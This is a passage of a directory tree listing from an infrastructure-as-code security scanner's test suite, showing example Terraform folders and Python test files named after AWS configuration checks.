│ │ └── main.tf │ │ │ │ ├── example_AthenaWorkgroupEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AutoScalingGroupWithPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AutoScalingLaunchTemplate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_AutoScalingTagging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BackupVaultEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BatchJobIsNotPrivileged/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BedrockAgentEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_BedrockGuardrails/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudFrontGeoRestrictionDisabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudFrontResponseHeaderStrictTransportSecurity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudWatchAlarmsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudWatchLogGroupKMSKey/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudWatchLogGroupRetention/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudWatchLogGroupRetentionYear/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudfrontDistributionDefaultRoot/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudfrontDistributionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudfrontDistributionOriginFailover/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudfrontTLS12/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudsearchDomainEnforceHttps/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudsearchDomainTLS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudtrailDefinesSNSTopic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudtrailEnableLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CloudtrailEncryptedWithCMK/ │ │ │ │ │ └── aws_cloudtrail.tf │ │ │ │ ├── example_CloudtrailEventDataStoreUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodeArtifactDomainEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodeBuildPrivilegedMode/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodeBuildProjectEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodePipelineArtifactsEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodebuildHasLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodebuildS3LogsEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodebuildUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CodecommitApprovalsRulesRequireMin2/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_CognitoUnauthenticatedIdentities/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ComprehendEntityRecognizerModelUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ComprehendEntityRecognizerVolumeUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ConnectInstanceS3StorageConfigUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DAXEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DAXEndpointTLS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DBInstanceBackupRetentionPeriod/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DBInstanceLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DBInstanceMinorUpgrade/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DBSnapshotCopyUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DBSnapshotsArePrivate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DLMEventsCrossRegionEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DLMEventsCrossRegionEncryptionWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DLMScheduleCrossRegionEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DLMScheduleCrossRegionEncryptionWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DMSEndpointUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DMSReplicationInstanceEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DMSReplicationInstanceMinorUpgrade/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DMSS3UsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DatasyncLocationExposesSecrets/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DeprecatedLambdaRuntime/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DocDBBackupRetention/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DocDBEncryptedWithCMK/ │ │ │ │ │ └── aws_docdb_cluster.tf │ │ │ │ ├── example_DocDBGlobalClusterEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DocDBLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DynamoDBTableReplicaKMSUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_DynamoDBTablesEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EBSDefaultEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EBSEncryption/ │ │ │ │ │ └── aws_ebs_volume.tf │ │ │ │ ├── example_EBSSnapshotCopyEncryptedWithCMK/ │ │ │ │ │ └── aws_ebs_snapshot_copy.tf │ │ │ │ ├── example_EBSVolumeEncryptedWithCMK/ │ │ │ │ │ └── aws_ebs_volume.tf │ │ │ │ ├── example_EC2Credentials/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EC2PublicIP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EC2PublicIP_foreach/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── module/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECRImmutableTags/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECRPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSClusterLoggingEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSClusterLoggingEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSContainerHostProcess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSContainerPrivilege/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSContainerReadOnlyRoot/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSServiceFargateLatest/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSServicePublicIP/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ECSTaskDefinitionRoleCheck/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EFSAccessPointRoot/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EFSAccessUserIdentity/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EFSEncryptionEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EFSFileSystemEncryptedWithCMK/ │ │ │ │ │ └── aws_efs_file_system.tf │ │ │ │ ├── example_EKSControlPlaneLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EKSPlatformVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EKSPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EKSPublicAccessCIDR/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ELBPolicyUsesSecureProtocols/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ELBv2AccessLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ELBwListenerNotTLSSSL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EMRClusterConfEncryptsEBS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EMRClusterConfEncryptsInTransit/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EMRClusterConfEncryptsLocalDisk/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EMRClusterIsEncryptedKMS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_EMRPubliclyAccessible/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_Ec2TransitGatewayAutoAccept/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElastiCacheHasCustomSubnet/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticBeanstalkUseEnhancedHealthChecks/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticBeanstalkUseManagedUpdates/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticCacheAutomaticBackup/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticCacheAutomaticMinorUpgrades/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticacheHasSecurityGroup/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticacheReplicationGroupEncryptedWithCMK/ │ │ │ │ │ └── aws_elasticache_replication_group.tf │ │ │ │ ├── example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ElasticsearchDefaultSG/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchDomainAuditLogging/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchDomainEnforceHTTPS/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchDomainHA/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchDomainLogging/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchEncryption/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchEncryptionWithCMK/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchInVPC/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchNodeToNodeEncryption/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_ElasticsearchTLSPolicy/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── opensearch.tf │ │ │ │ ├── example_FSXOntapFSEncryptedWithCMK/ │ │ │ │ │ └── aws_fsx_ontap_file_system.tf │ │ │ │ ├── example_FSXOpenZFSFileSystemEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_FSXWindowsFSEncryptedWithCMK/ │ │ │ │ │ └── aws_fsx_windows_file_system.tf │ │ │ │ ├── example_GlacierVaultAnyPrincipal/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GlueSecurityConfigurationEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_GuarddutyDetectorEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMAdminPolicyDocument/ │ │ │ │ │ └── iam.tf │ │ │ │ ├── example_IAMCredentialsExposure/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMDataExfiltration/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMManagedAdminPolicy/ │ │ │ │ │ └── IAMManagedAdminPolicy.tf │ │ │ │ ├── example_IAMPermissionsManagement/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMPolicyAttachedToGroupOrRoles/ │ │ │ │ │ └── iam.tf │ │ │ │ ├── example_IAMPrivilegeEscalation/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMRoleAllowAssumeFromAccount/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMStarResourcePolicyDocument/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMUserNotUsedForAccess/ │ │ │ │ │ └── iam.tf │ │ │ │ ├── example_IAMUserRootAccessKeys/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IAMWriteAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_IMDSv1Disabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ImagebuilderComponentEncryptedWithCMK/ │ │ │ │ │ └── aws_imagebuilder_component.tf │ │ │ │ ├── example_ImagebuilderDistributionConfigurationEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_ImagebuilderImageRecipeEBSEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KMSKeyIsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KMSKeyWildcardPrincipal/ │ │ │ │ │ ├── fail.tf │ │ │ │ │ └── pass.tf │ │ │ │ ├── example_KMSRotation/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KendraIndexSSEUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KeyspacesTableUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KinesisFirehoseDeliveryStreamSSE/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KinesisFirehoseDeliveryStreamUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KinesisStreamEncryptedWithCMK/ │ │ │ │ │ └── aws_kinesis_stream.tf │ │ │ │ ├── example_KinesisStreamEncryptionType/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_KinesisVideoEncryptedWithCMK/ │ │ │ │ │ └── aws_kinesis_video_stream.tf │ │ │ │ ├── example_LBCrossZone/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LBTargetGroupDefinesHealthcheck/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LambdaCodeSigningConfigured/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LambdaEnvironmentCredentials/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LambdaEnvironmentEncryptionSettings/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LambdaFunctionIsNotPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LambdaFunctionURLAuth/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LambdaServicePermission/ │ │ │ │ │ └── LambdaServicePermission.tf │ │ │ │ ├── example_LambdaXrayEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LaunchConfigurationEBSEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LaunchTemplateMetadataHop/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_LustreFSEncryptedWithCMK/ │ │ │ │ │ └── aws_fsx_lustre_file_system.tf │ │ │ │ ├── example_MQBrokerAuditLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MQBrokerEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MQBrokerLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MQBrokerMinorAutoUpgrade/ │ │ │ │ │ └── main/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MQBrokerVersion/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MSKClusterNodesArePrivate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MWAASchedulerLogsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MWAAWebserverLogsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MWAAWorkerLogsEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MemoryDBClusterIntransitEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MemoryDBEncryptionWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_MemoryDBSnapshotEncryptionWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NeptuneClusterBackupRetention/ │ │ │ │ │ └── NeptuneClusterBackupRetention.tf │ │ │ │ ├── example_NeptuneClusterEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NeptuneClusterSnapshotEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NeptuneClusterSnapshotEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NeptuneClusterStorageEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NeptuneDBClustersCopyTagsToSnapshots/ │ │ │ │ │ └── NeptuneDBClustersCopyTagsToSnapshots.tf │ │ │ │ ├── example_NeptuneDBClustersIAMDatabaseAuthenticationEnabled/ │ │ │ │ │ └── NeptuneDBClustersIAMDatabaseAuthenticationEnabled.tf │ │ │ │ ├── example_NetworkACLUnrestricted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkACLUnrestrictedIngress20/ │ │ │ │ │ ├── dynamic_blocks_map_brackets/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkACLUnrestrictedIngress21/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkACLUnrestrictedIngress22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkACLUnrestrictedIngress3389/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── example_NetworkFirewallDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkFirewallPolicyDefinesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_NetworkFirewallUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_QLDBLedgerDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_QLDBLedgerPermissionsMode/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSCACertIsRecent/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterActivityStreamEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterAuditLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterAuroraBacktrack/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterCopyTags/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterIAMAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSClusterLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSHasSecurityGroup/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSIAMAuthentication/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceAutoBackupEncryptionWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstanceDeletionProtection/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstancePerfInsightsEncryptionWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSInstancePerformanceInsights/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSMultiAZEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RDSPostgreSQLLogFDWExtension/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedShiftSSL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftClusterAutoSnap/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftClusterDatabaseName/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftClusterUseEnhancedVPCRouting/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftClusterWithCommonUsernameAndPublicAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftInEc2ClassicMode/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftServerlessNamespaceKMSKey/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_RedshiftSnapshotCopyGrantEncryptedWithCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_Route53TransferLock/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3AbortIncompleteUploads/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3AccessPointPubliclyAccessible/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3AllowsAnyPrincipal/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3BucketObjectEncryptedWithCMK/ │ │ │ │ │ └── aws_s3_bucket_object.tf │ │ │ │ ├── example_S3BucketObjectLock/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3GlobalViewACL/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3ObjectCopyEncryptedWithCMK/ │ │ │ │ │ └── aws_s3_object_copy.tf │ │ │ │ ├── example_S3ProtectAgainstPolicyLockout/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_S3SecureDataTransport/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SNSCrossAccountAccess/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SNSTopicEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SNSTopicPolicyAnyPrincipal/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SQSOverlyPermissive/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SQSPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SQSQueueEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SQSQueuePolicyAnyPrincipal/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SSMDocumentsArePrivate/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SSMParameterUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SSMSessionManagerDocumentEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SSMSessionManagerDocumentLogging/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerDataQualityJobDefinitionEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerDataQualityJobDefinitionTrafficEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerDataQualityJobDefinitionVolumeEncryption/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerDomainEncryptedWithCMK/ │ │ │ │ │ ├── aws_sagemaker_domain.tf │ │ │ │ │ └── aws_sagemaker_notebook_instance.tf │ │ │ │ ├── example_SagemakerFlowDefinitionUsesKMS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerModelWithNetworkIsolation/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerNotebookInCustomVPC/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerNotebookInstanceAllowsIMDSv2/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SagemakerNotebookRoot/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SchedulerScheduleUsesCMK/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecretManagerSecret90days/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecretManagerSecretEncrypted/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── tfplan.json │ │ │ │ ├── example_SecurityGroupRuleDescription/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupUnrestrictedEgressAny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupUnrestrictedIngress22/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupUnrestrictedIngress3389/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupUnrestrictedIngress80/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SecurityGroupUnrestrictedIngressAny/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_SesConfigurationSetDefinesTLS/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StateMachineLoggingExecutionHistory/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_StateMachineXray/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_TimestreamDatabaseKMSKey/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_TransferServerAllowsOnlySecureProtocols/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_TransferServerIsPublic/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_TransferServerLatestPolicy/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_UnpatchedAuroraPostgresDB/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WAFACLCVE202144228/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WAFEnabled/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WAFHasLogs/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WAFRuleHasAnyActions/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WafHasAnyRules/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── waf2.tf │ │ │ │ ├── example_WorkspaceRootVolumeEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── example_WorkspaceUserVolumeEncrypted/ │ │ │ │ │ └── main.tf │ │ │ │ ├── test_ACMCertCreateBeforeDestroy.py │ │ │ │ ├── test_ACMCertSetLoggingPreference.py │ │ │ │ ├── test_ALBDesyncMode.py │ │ │ │ ├── test_ALBDropHttpHeaders.py │ │ │ │ ├── test_ALBListenerHTTPS.py │ │ │ │ ├── test_AMICopyIsEncrypted.py │ │ │ │ ├── test_AMICopyUsesCMK.py │ │ │ │ ├── test_AMIEncryption.py │ │ │ │ ├── test_AMILaunchIsShared.py │ │ │ │ ├── test_APIGatewayAccessLogging.py │ │ │ │ ├── test_APIGatewayAuthorization.py │ │ │ │ ├── test_APIGatewayCacheEnable.py │ │ │ │ ├── test_APIGatewayCreateBeforeDestroy.py │ │ │ │ ├── test_APIGatewayDeploymentCreateBeforeDestroy.py │ │ │ │ ├── test_APIGatewayDomainNameTLS.py │ │ │ │ ├── test_APIGatewayMethodSettingCacheEncrypted.py │ │ │ │ ├── test_APIGatewayMethodSettingsCacheEnabled.py │ │ │ │ ├── test_APIGatewayMethodSettingsDataTrace.py │ │ │ │ ├── test_APIGatewayV2RouteDefinesAuthorizationType.py │ │ │ │ ├── test_APIGatewayXray.py │ │ │ │ ├── test_AWSCodeGuruHasCMK.py │ │ │ │ ├── test_AppFlowConnectorProfileUsesCMK.py │ │ │ │ ├── test_AppFlowUsesCMK.py │ │ │ │ ├── test_AppSyncFieldLevelLogs.py │ │ │ │ ├── test_AppSyncLogging.py │ │ │ │ ├── test_AppsyncAPICacheEncryptionAtRest.py │ │ │ │ ├── test_AppsyncAPICacheEncryptionInTransit.py │ │ │ │ ├── test_AthenaDatabaseEncryption.py │ │ │ │ ├── test_AthenaWorkgroupConfiguration.py │ │ │ │ ├── test_AthenaWorkgroupEncryption.py │ │ │ │ ├── test_AuroraEncryption.py │ │ │ │ ├── test_AutoScalingGroupWithPublicAccess.py │ │ │ │ ├── test_AutoScalingLaunchTemplate.py │ │ │ │ ├── test_AutoScalingTagging.py │ │ │ │ ├── test_BackupVaultEncrypted.py │ │ │ │ ├── test_BatchJobIsNotPrivileged.py │ │ │ │ ├── test_BedrockAgentEncrypted.py │ │ │ │ ├── test_BedrockGuardrails.py │ │ │ │ ├── test_CloudFrontGeoRestrictionDisabled.py │ │ │ │ ├── test_CloudFrontResponseHeaderStrictTransportSecurity.py │ │ │ │ ├── test_CloudFrontTLS12.py │ │ │ │ ├── test_CloudWatchAlarmsEnabled.py │ │ │ │ ├── test_CloudWatchLogGroupKMSKey.py │ │ │ │ ├── test_CloudWatchLogGroupRetention.py │ │ │ │ ├── test_CloudWatchLogGroupRetentionYear.py │ │ │ │ ├── test_CloudformationStackNotificationArns.py │ │ │ │ ├── test_CloudfrontDistributionDefaultRoot.py │ │ │ │ ├── test_CloudfrontDistributionEnabled.py │ │ │ │ ├── test_CloudfrontDistributionEncryption.py │ │ │ │ ├── test_CloudfrontDistributionLogging.py │ │ │ │ ├── test_CloudfrontDistributionOriginFailover.py │ │ │ │ ├── test_CloudsearchDomainEnforceHttps.py │ │ │ │ ├── test_CloudsearchDomainTLS.py │ │ │ │ ├── test_CloudtrailDefinesSNSTopic.py │ │ │ │ ├── test_CloudtrailEnableLogging.py │ │ │ │ ├── test_CloudtrailEncryptedWithCMK.py │ │ │ │ ├── test_CloudtrailEventDataStoreUsesCMK.py │ │ │ │ ├── test_CloudtrailLogValidation.py │ │ │ │ ├── test_CloudtrailMultiRegion.py │ │ │ │ ├── test_CodeArtifactDomainEncryptedWithCMK.py │ │ │ │ ├── test_CodeBuildPrivilegedMode.py │ │ │ │ ├── test_CodeBuildProjectEncryption.py │ │ │ │ ├── test_CodePipelineArtifactsEncrypted.py │ │ │ │ ├── test_CodebuildHasLogs.py │ │ │ │ ├── test_CodebuildS3LogsEncrypted.py │ │ │ │ ├── test_CodebuildUsesCMK.py │ │ │ │ ├── test_CodecommitApprovalRulesRequireMin2.py │ │ │ │ ├── test_CognitoUnauthenticatedIdentities.py │ │ │ │ ├── test_ComprehendEntityRecognizerModelUsesCMK.py │ │ │ │ ├── test_ComprehendEntityRecognizerVolumeUsesCMK.py │ │ │ │ ├── test_ConfigConfigurationAggregator.py │ │ │ │ ├── 